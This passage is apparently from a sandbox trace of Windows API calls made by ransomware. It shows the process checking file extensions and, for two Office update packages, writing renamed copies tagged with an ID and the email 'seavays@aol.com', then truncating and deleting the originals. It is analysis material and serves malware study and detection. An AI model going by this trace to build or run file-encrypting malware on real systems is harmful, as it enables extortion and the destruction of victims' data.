lpString2="eftx") returned -1 [0177.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0177.994] lstrlenW (lpString=".zip") returned 4 [0177.994] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0177.994] lstrlenW (lpString=".rar") returned 4 [0177.994] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0177.994] lstrlenW (lpString=".bz2") returned 4 [0177.994] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0177.994] lstrlenW (lpString=".7z") returned 3 [0177.994] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0177.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0177.994] lstrlenW (lpString=".dbf") returned 4 [0177.994] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0177.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0177.994] lstrlenW (lpString=".1cd") returned 4 [0177.995] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0177.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0177.995] lstrlenW (lpString=".jpg") returned 4 [0177.995] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0177.995] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0177.995] lstrlenW (lpString="api-ms-win-crt-environment-l1-1-0.dll") returned 37 [0177.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0177.998] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=19136) returned 1 [0177.998] CloseHandle (hObject=0x534) returned 1 [0177.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-environment-l1-1-0.dll")) returned 0x220 [0177.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-environment-l1-1-0.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0177.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0177.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0177.999] lstrlenW (lpString=".doc") returned 4 [0177.999] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0177.999] lstrlenW (lpString=".docx") returned 5 [0177.999] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0177.999] lstrlenW (lpString=".pdf") returned 4 [0178.000] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0178.000] lstrlenW (lpString=".xls") returned 4 [0178.000] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0178.000] lstrlenW (lpString=".xlsx") returned 5 [0178.000] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0178.000] lstrlenW (lpString=".ppt") returned 4 [0178.000] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0178.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0178.000] lstrlenW (lpString=".zip") returned 4 [0178.000] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0178.000] lstrlenW (lpString=".rar") returned 4 [0178.000] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0178.000] lstrlenW (lpString=".bz2") returned 4 [0178.000] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0178.000] lstrlenW (lpString=".7z") returned 3 [0178.000] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0178.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0178.000] lstrlenW (lpString=".dbf") returned 4 [0178.000] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0178.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0178.000] lstrlenW (lpString=".1cd") returned 4 [0178.000] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0178.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0178.000] lstrlenW (lpString=".jpg") returned 4 [0178.001] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0178.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0178.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0178.001] lstrlenW (lpString=".doc") returned 4 [0178.001] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0178.001] lstrlenW (lpString=".docx") returned 5 [0178.001] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0178.001] lstrlenW (lpString=".pdf") returned 4 [0178.001] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0178.001] lstrlenW (lpString=".xls") returned 4 [0178.001] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0178.001] lstrlenW (lpString=".xlsx") returned 5 [0178.001] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0178.001] lstrlenW (lpString=".ppt") returned 4 [0178.001] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0178.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0178.002] lstrlenW (lpString=".zip") returned 4 [0178.002] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0178.002] lstrlenW (lpString=".rar") returned 4 [0178.002] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0178.002] lstrlenW (lpString=".bz2") returned 4 [0178.002] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0178.002] lstrlenW (lpString=".7z") returned 3 [0178.002] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0178.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0178.002] lstrlenW (lpString=".dbf") returned 4 [0178.002] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0178.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0178.002] lstrlenW (lpString=".1cd") returned 4 [0178.002] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0178.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0178.002] lstrlenW (lpString=".jpg") returned 4 [0178.002] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0178.003] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0178.003] lstrlenW (lpString="api-ms-win-crt-filesystem-l1-1-0.dll") returned 36 [0178.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0178.004] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=20672) returned 1 [0178.004] CloseHandle (hObject=0x534) returned 1 [0178.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 0x220 [0178.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-filesystem-l1-1-0.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0178.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85 [0178.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85 [0178.454] lstrlenW (lpString=".doc") returned 4 [0178.454] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0178.454] lstrlenW (lpString=".docx") returned 5 [0178.454] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0178.454] lstrlenW (lpString=".pdf") returned 4 [0178.455] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0178.455] lstrlenW (lpString=".xls") returned 4 [0178.455] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0178.455] lstrlenW (lpString=".xlsx") returned 5 [0178.455] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0178.455] lstrlenW (lpString=".ppt") returned 4 [0178.455] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0178.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85 [0178.455] lstrlenW (lpString=".zip") returned 4 [0178.455] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0178.455] lstrlenW (lpString=".rar") returned 4 [0178.455] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0178.455] lstrlenW (lpString=".bz2") returned 4 [0178.455] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0178.455] lstrlenW (lpString=".7z") returned 3 [0178.455] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0178.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85 [0178.455] lstrlenW (lpString=".dbf") returned 4 [0178.455] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0178.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85 [0178.455] lstrlenW (lpString=".1cd") returned 4 [0178.455] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0178.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85 [0178.456] lstrlenW (lpString=".jpg") returned 4 [0178.456] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0178.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85 [0178.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85 [0178.456] lstrlenW (lpString=".doc") returned 4 [0178.456] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0178.456] lstrlenW (lpString=".docx") returned 5 [0178.456] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0178.456] lstrlenW (lpString=".pdf") returned 4 [0178.456] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0178.456] lstrlenW (lpString=".xls") returned 4 [0178.456] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0178.456] lstrlenW (lpString=".xlsx") returned 5 [0178.456] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0178.456] lstrlenW (lpString=".ppt") returned 4 [0178.456] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0178.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85 [0178.456] lstrlenW (lpString=".zip") returned 4 [0178.456] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0178.457] lstrlenW (lpString=".rar") returned 4 [0178.457] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0178.457] lstrlenW (lpString=".bz2") returned 4 [0178.457] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0178.457] lstrlenW (lpString=".7z") returned 3 [0178.457] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0178.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85 [0178.457] lstrlenW (lpString=".dbf") returned 4 [0178.457] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0178.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85 [0178.457] lstrlenW (lpString=".1cd") returned 4 [0178.457] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0178.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85 [0178.457] lstrlenW (lpString=".jpg") returned 4 [0178.457] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0178.457] lstrcmpiW (lpString1=".msu", lpString2=".save") returned -1 [0178.458] lstrlenW (lpString="Windows6.1-KB2999226-x86.msu") returned 28 [0178.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0178.460] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=621986) returned 1 [0178.460] CloseHandle (hObject=0x528) returned 1 [0178.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu")) returned 0x220 [0178.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0178.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0178.461] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.461] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0178.464] GetLastError () returned 0x0 [0178.464] ReadFile (in: hFile=0x528, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x97da2, lpOverlapped=0x0) returned 1 [0178.758] WriteFile (in: hFile=0x384, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x97db0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x97db0, lpOverlapped=0x0) returned 1 [0178.917] ReadFile (in: hFile=0x528, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.917] WriteFile (in: hFile=0x384, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x10c, lpOverlapped=0x0) returned 1 [0178.917] SetEndOfFile (hFile=0x384) returned 1 [0178.918] CloseHandle (hObject=0x384) returned 1 [0178.918] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.918] SetEndOfFile (hFile=0x528) returned 1 [0179.186] CloseHandle (hObject=0x528) returned 1 [0179.187] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0179.187] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu")) returned 1 [0179.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0179.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0179.189] lstrlenW (lpString=".doc") returned 4 [0179.189] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0179.189] lstrlenW (lpString=".docx") returned 5 [0179.189] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0179.189] lstrlenW (lpString=".pdf") returned 4 [0179.189] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0179.189] lstrlenW (lpString=".xls") returned 4 [0179.189] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0179.189] lstrlenW (lpString=".xlsx") returned 5 [0179.189] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0179.189] lstrlenW (lpString=".ppt") returned 4 [0179.189] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0179.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0179.189] lstrlenW (lpString=".zip") returned 4 [0179.189] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0179.189] lstrlenW (lpString=".rar") returned 4 [0179.189] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0179.189] lstrlenW (lpString=".bz2") returned 4 [0179.189] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0179.189] lstrlenW (lpString=".7z") returned 3 [0179.189] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0179.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0179.190] lstrlenW (lpString=".dbf") returned 4 [0179.190] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0179.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0179.190] lstrlenW (lpString=".1cd") returned 4 [0179.190] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0179.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0179.190] lstrlenW (lpString=".jpg") returned 4 [0179.190] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0179.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0179.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0179.190] lstrlenW (lpString=".doc") returned 4 [0179.190] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0179.190] lstrlenW (lpString=".docx") returned 5 [0179.190] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0179.190] lstrlenW (lpString=".pdf") returned 4 [0179.190] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0179.190] lstrlenW (lpString=".xls") returned 4 [0179.190] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0179.190] lstrlenW (lpString=".xlsx") returned 5 [0179.190] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0179.190] lstrlenW (lpString=".ppt") returned 4 [0179.191] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0179.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0179.191] lstrlenW (lpString=".zip") returned 4 [0179.191] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0179.191] lstrlenW (lpString=".rar") returned 4 [0179.191] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0179.191] lstrlenW (lpString=".bz2") returned 4 [0179.191] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0179.191] lstrlenW (lpString=".7z") returned 3 [0179.191] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0179.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0179.191] lstrlenW (lpString=".dbf") returned 4 [0179.191] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0179.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0179.191] lstrlenW (lpString=".1cd") returned 4 [0179.191] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0179.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0179.191] lstrlenW (lpString=".jpg") returned 4 [0179.191] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0179.191] lstrcmpiW (lpString1=".msu", lpString2=".save") returned -1 [0179.191] lstrlenW (lpString="Windows8.1-KB2999226-x64.msu") returned 28 [0179.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0179.194] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=994589) returned 1 [0179.195] CloseHandle (hObject=0x528) returned 1 [0179.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu")) returned 0x220 [0179.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0179.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0179.196] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.196] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0179.197] GetLastError () returned 0x0 [0179.197] ReadFile (in: hFile=0x528, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0xf2d1d, lpOverlapped=0x0) returned 1 [0179.430] WriteFile (in: hFile=0x44c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xf2d20, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0xf2d20, lpOverlapped=0x0) returned 1 [0179.973] ReadFile (in: hFile=0x528, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.973] WriteFile (in: hFile=0x44c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x10c, lpOverlapped=0x0) returned 1 [0179.973] SetEndOfFile (hFile=0x44c) returned 1 [0179.973] CloseHandle (hObject=0x44c) returned 1 [0179.973] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.973] SetEndOfFile (hFile=0x528) returned 1 [0180.090] CloseHandle (hObject=0x528) returned 1 [0180.090] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0180.352] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft 